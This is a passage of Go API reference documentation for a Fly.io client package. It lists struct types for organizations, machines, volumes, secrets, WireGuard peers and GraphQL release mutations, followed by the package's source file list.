GracePeriod *Duration `toml:"grace_period,omitempty" json:"grace_period,omitempty"`
// For http checks, the HTTP method to use to when making the request
HTTPMethod *string `toml:"method,omitempty" json:"method,omitempty"`
// For http checks, the path to send the request to
HTTPPath *string `toml:"path,omitempty" json:"path,omitempty"`
// For http checks, whether to use http or https
HTTPProtocol *string `toml:"protocol,omitempty" json:"protocol,omitempty"`
// For http checks with https protocol, whether or not to verify the TLS certificate
HTTPSkipTLSVerify *bool `toml:"tls_skip_verify,omitempty" json:"tls_skip_verify,omitempty"`
// If the protocol is https, the hostname to use for TLS certificate validation
HTTPTLSServerName *string `toml:"tls_server_name,omitempty" json:"tls_server_name,omitempty"`
HTTPHeaders []MachineHTTPHeader `toml:"headers,omitempty" json:"headers,omitempty"`
}
type MachineStartResponse ¶
type Organization ¶
type Organization struct {
ID string
InternalNumericID string
Name string
RemoteBuilderImage string
RemoteBuilderApp *App
Slug string
RawSlug string
Type string
PaidPlan bool
Billable bool
Settings map[string]any
Domains struct {
Nodes *[]*Domain
Edges *[]*struct {
Cursor *string
Node *Domain
}
}
WireGuardPeer *WireGuardPeer
WireGuardPeers struct {
Nodes *[]*WireGuardPeer
Edges *[]*struct {
Cursor *string
Node *WireGuardPeer
}
}
DelegatedWireGuardTokens struct {
Nodes *[]*DelegatedWireGuardTokenHandle
Edges *[]*struct {
Cursor *string
Node *DelegatedWireGuardTokenHandle
}
}
LoggedCertificates *struct {
Nodes []LoggedCertificate
}
LimitedAccessTokens *struct {
Nodes []LimitedAccessToken
}
}
func (*Organization) Basic ¶
func (o *Organization) Basic() *OrganizationBasic
func (*Organization) GetID ¶
func (o *Organization) GetID() string
func (*Organization) GetSlug ¶
func (o *Organization) GetSlug() string
type OrganizationBasic ¶
type OrganizationBasic struct {
ID string
InternalNumericID string
Name string
Slug string
RawSlug string
PaidPlan bool
}
func (*OrganizationBasic) GetID ¶
func (o *OrganizationBasic) GetID() string
func (*OrganizationBasic) GetSlug ¶
func (o *OrganizationBasic) GetSlug() string
type OrganizationDetails ¶
type OrganizationFilter ¶
type OrganizationFilter func(*organizationFilter)
var AdminOnly OrganizationFilter = func(f *organizationFilter) { f.admin = true }
type OrganizationImpl ¶
type OrganizationType ¶
type OrganizationType string
const ( OrganizationTypePersonal OrganizationType = "PERSONAL" )
type PostDeploymentInfo ¶
type PostgresEnableConsulPayload ¶
type PostgresEnableConsulPayload struct {
ConsulURL string `json:"consulUrl"`
}
type ProcessStat ¶
type ProcessStat struct {
Pid int32 `toml:"pid" json:"pid"`
Stime uint64 `toml:"stime" json:"stime"`
Rtime uint64 `toml:"rtime" json:"rtime"`
Command string `toml:"command" json:"command"`
Directory string `toml:"directory" json:"directory"`
Cpu uint64 `toml:"cpu" json:"cpu"`
Rss uint64 `toml:"rss" json:"rss"`
ListenSockets []ListenSocket `toml:"listen_sockets" json:"listen_sockets"`
}
type ProxyProtoOptions ¶
type ProxyProtoOptions struct {
Version string `toml:"version,omitempty" json:"version,omitempty"`
}
type Query ¶
type Query struct {
Errors Errors
Apps struct {
PageInfo struct {
HasNextPage bool
EndCursor string
}
Nodes []App
}
App App
AppCompact AppCompact
AppBasic AppBasic
AppCertsCompact AppCertsCompact
Viewer User
GqlMachine GqlMachine
Organizations struct {
Nodes []Organization
}
Organization *Organization
OrganizationDetails OrganizationDetails
Volume struct {
App struct {
Name string
}
State string
Snapshots struct {
Nodes []VolumeSnapshotGql
}
}
Domain *Domain
Node interface{}
Nodes []interface{}
Platform struct {
RequestRegion string
Regions []Region
}
NearestRegion *Region
LatestImageTag string
LatestImageDetails ImageVersion
AppHostIssues AppHostIssues
// mutations
CreateApp struct {
App App
}
SetSecrets struct {
Release Release
}
UnsetSecrets struct {
Release Release
}
EnsureRemoteBuilder *struct {
App *App
URL string
Release Release
}
EnsureMachineRemoteBuilder *struct {
App *App
Machine *GqlMachine
}
CreateDoctorUrl SignedUrl
AddCertificate struct {
Certificate *AppCertificate
Check *HostnameCheck
}
DeleteCertificate DeleteCertificatePayload
CheckCertificate struct {
App *App
Certificate *AppCertificate
Check *HostnameCheck
}
AllocateIPAddress struct {
App App
IPAddress IPAddress
}
AllocateEgressIPAddress struct {
V4 string
V6 string
}
ReleaseEgressIPAddress struct {
V4 string
V6 string
}
ReleaseIPAddress struct {
App App
}
CreateDomain struct {
Domain *Domain
}
CreateAndRegisterDomain struct {
Domain *Domain
}
CheckDomain *CheckDomainResult
ExportDnsZone struct {
Contents string
}
ImportDnsZone struct {
Warnings []ImportDnsWarning
Changes []ImportDnsChange
}
CreateOrganization CreateOrganizationPayload
DeleteOrganization DeleteOrganizationPayload
AddWireGuardPeer CreatedWireGuardPeer
EstablishSSHKey SSHCertificate
IssueCertificate IssuedCertificate
CreateDelegatedWireGuardToken DelegatedWireGuardToken
DeleteDelegatedWireGuardToken DelegatedWireGuardToken
RemoveWireGuardPeer struct {
Organization Organization
}
AttachPostgresCluster *AttachPostgresClusterPayload
EnablePostgresConsul *PostgresEnableConsulPayload
CreateOrganizationInvitation CreateOrganizationInvitation
ValidateWireGuardPeers struct {
InvalidPeerIPs []string
}
PostgresAttachments struct {
Nodes []*PostgresClusterAttachment
}
DeleteOrganizationMembership *DeleteOrganizationMembershipPayload
UpdateRemoteBuilder struct {
Organization Organization
}
CanPerformBluegreenDeployment bool
AppNameAvailable bool
LockApp *LockApp
}
Query - Master query which encapsulates all possible returned structures
type Region ¶
type Region struct {
Code string `json:"code"`
Name string `json:"name"`
Latitude float32 `json:"latitude"`
Longitude float32 `json:"longitude"`
GatewayAvailable bool `json:"gateway_available"`
RequiresPaidPlan bool `json:"requires_paid_plan"`
Capacity int64 `json:"capacity"`
GeoRegion GeoRegion `json:"geo_region"`
}
type ReleaseIPAddressInput ¶
type ReleaseMetadata ¶
type ReleaseMetadata struct {
PostDeploymentInfo PostDeploymentInfo `json:"post_deployment_info,omitempty"`
}
type RemoveMachineInput ¶
type RestartMachineInput ¶
type RestartMachineInput struct {
ID string `toml:"id,omitempty" json:"id,omitempty"`
Signal string `toml:"signal,omitempty" json:"signal,omitempty"`
Timeout time.Duration `toml:"timeout,omitempty" json:"timeout,omitempty"`
ForceStop bool `toml:"force_stop,omitempty" json:"force_stop,omitempty"`
SkipHealthChecks bool `toml:"skip_health_checks,omitempty" json:"skip_health_checks,omitempty"`
}
type SSHCertificate ¶
type SSHCertificate struct {
Certificate string
}
type SetSecretsInput ¶
type SetSecretsInput struct {
AppID string `json:"appId"`
Secrets []SetSecretsInputSecret `json:"secrets"`
}
type SetSecretsInputSecret ¶
type Static ¶
type Static struct {
GuestPath string `toml:"guest_path" json:"guest_path" validate:"required"`
UrlPrefix string `toml:"url_prefix" json:"url_prefix" validate:"required"`
TigrisBucket string `toml:"tigris_bucket" json:"tigris_bucket"`
IndexDocument string `toml:"index_document" json:"index_document"`
}
type StopConfig ¶
type StopMachineInput ¶
type StorageType ¶
type StorageType string
type TCPHealthcheck ¶
type TCPHealthcheck struct {
// The port to connect to, often the same as internal_port
Port int32 `toml:"port" json:"port"`
}
type TLSOptions ¶
type TempDirVolume ¶
type TempDirVolume struct {
// The type of storage used to back the temp dir. Either disk or memory.
StorageType StorageType `toml:"storage_type" json:"storage_type"`
// The size limit of the temp dir, only applicable when using disk backed storage.
SizeMB uint64 `toml:"size_mb,omitempty" json:"size_mb,omitempty"`
}
A TempDir is an ephemeral directory tied to the lifecycle of a Machine. It is often used as scratch space, to communicate between containers and so on.
type Transport ¶
type UnhealthyPolicy ¶
type UnhealthyPolicy string
const ( // When a container becomes unhealthy, stop it. If there is a restart policy set on // the container, it will be applied UnhealthyPolicyStop UnhealthyPolicy = "stop" )
type UnlockAppInput ¶
type UnsetSecretsInput ¶
type UpdateReleaseInput ¶
type UpdateReleaseInput struct {
// A unique identifier for the client performing the mutation.
ClientMutationId string `json:"clientMutationId"`
// The metadata for the release
Metadata interface{} `json:"metadata"`
// The ID of the release
ReleaseId string `json:"releaseId"`
// The new status for the release
Status string `json:"status"`
}
Autogenerated input type of UpdateRelease
func (*UpdateReleaseInput) GetClientMutationId ¶
func (v *UpdateReleaseInput) GetClientMutationId() string
GetClientMutationId returns UpdateReleaseInput.ClientMutationId, and is useful for accessing the field via an interface.
func (*UpdateReleaseInput) GetMetadata ¶
func (v *UpdateReleaseInput) GetMetadata() interface{}
GetMetadata returns UpdateReleaseInput.Metadata, and is useful for accessing the field via an interface.
func (*UpdateReleaseInput) GetReleaseId ¶
func (v *UpdateReleaseInput) GetReleaseId() string
GetReleaseId returns UpdateReleaseInput.ReleaseId, and is useful for accessing the field via an interface.
func (*UpdateReleaseInput) GetStatus ¶
func (v *UpdateReleaseInput) GetStatus() string
GetStatus returns UpdateReleaseInput.Status, and is useful for accessing the field via an interface.
type UpdateReleaseResponse ¶
type UpdateReleaseResponse struct {
UpdateRelease UpdateReleaseUpdateReleaseUpdateReleasePayload `json:"updateRelease"`
}
UpdateReleaseResponse is returned by UpdateRelease on success.
func UpdateRelease ¶
func UpdateRelease( ctx_ context.Context, client_ graphql.Client, input UpdateReleaseInput, ) (data_ *UpdateReleaseResponse, err_ error)
func (*UpdateReleaseResponse) GetUpdateRelease ¶
func (v *UpdateReleaseResponse) GetUpdateRelease() UpdateReleaseUpdateReleaseUpdateReleasePayload
GetUpdateRelease returns UpdateReleaseResponse.UpdateRelease, and is useful for accessing the field via an interface.
type UpdateReleaseUpdateReleaseUpdateReleasePayload ¶
type UpdateReleaseUpdateReleaseUpdateReleasePayload struct {
Release UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease `json:"release"`
}
UpdateReleaseUpdateReleaseUpdateReleasePayload includes the requested fields of the GraphQL type UpdateReleasePayload. The GraphQL type's documentation follows.
Autogenerated return type of UpdateRelease.
func (*UpdateReleaseUpdateReleaseUpdateReleasePayload) GetRelease ¶
func (v *UpdateReleaseUpdateReleaseUpdateReleasePayload) GetRelease() UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease
GetRelease returns UpdateReleaseUpdateReleaseUpdateReleasePayload.Release, and is useful for accessing the field via an interface.
type UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease ¶
type UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease struct {
// Unique ID
Id string `json:"id"`
}
UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease includes the requested fields of the GraphQL type Release.
func (*UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease) GetId ¶
func (v *UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease) GetId() string
GetId returns UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease.Id, and is useful for accessing the field via an interface.
type UpdateVolumeRequest ¶
type Volume ¶
type Volume struct {
ID string `json:"id"`
Name string `json:"name"`
State string `json:"state"`
SizeGb int `json:"size_gb"`
Region string `json:"region"`
Zone string `json:"zone"`
Encrypted bool `json:"encrypted"`
AttachedMachine *string `json:"attached_machine_id"`
AttachedAllocation *string `json:"attached_alloc_id"`
CreatedAt time.Time `json:"created_at"`
HostDedicationID string `json:"host_dedication_id"`
SnapshotRetention int `json:"snapshot_retention"`
AutoBackupEnabled bool `json:"auto_backup_enabled"`
HostStatus string `json:"host_status,omitempty"`
}
func (Volume) IsAttached ¶
type VolumeConfig ¶
type VolumeConfig struct {
// The name of the volume. A volume must have a unique name within an app
Name string `toml:"name" json:"name"`
// The volume resource, provides configuration for the volume
VolumeResource
}
type VolumeResource ¶
type VolumeResource struct {
TempDir *TempDirVolume `toml:"temp_dir,omitempty" json:"temp_dir,omitempty"`
Image string `toml:"image,omitempty" json:"image,omitempty"`
}
type VolumeSnapshot ¶
type VolumeSnapshot struct {
ID string `json:"id"`
Size int `json:"size"`
Digest string `json:"digest"`
CreatedAt time.Time `json:"created_at"`
Status string `json:"status"`
RetentionDays *int `json:"retention_days"`
}
func NewVolumeSnapshotFrom ¶
func NewVolumeSnapshotFrom(v VolumeSnapshotGql) VolumeSnapshot
type VolumeSnapshotGql ¶
type WireGuardPeer ¶
Source Files
¶
- api.go
- auth.go
- casting.go
- cli_session.go
- client.go
- context.go
- duration.go
- error.go
- fly.go
- genqlient.go
- http.go
- machine_types.go
- resource_apps.go
- resource_build.go
- resource_certificates.go
- resource_deploy.go
- resource_dns.go
- resource_doctor.go
- resource_domains.go
- resource_images.go
- resource_ip_addresses.go
- resource_issues.go
- resource_logs.go
- resource_machines.go
- resource_organizations.go
- resource_platform.go
- resource_postgres.go
- resource_regions.go
- resource_releases.go
- resource_remote_builders.go
- resource_secrets.go
- resource_ssh.go
- resource_tokens.go
- resource_user.go
- resource_volumes.go
- resource_wireguard.go
- secrets_types.go
- types.go
- volume_types.go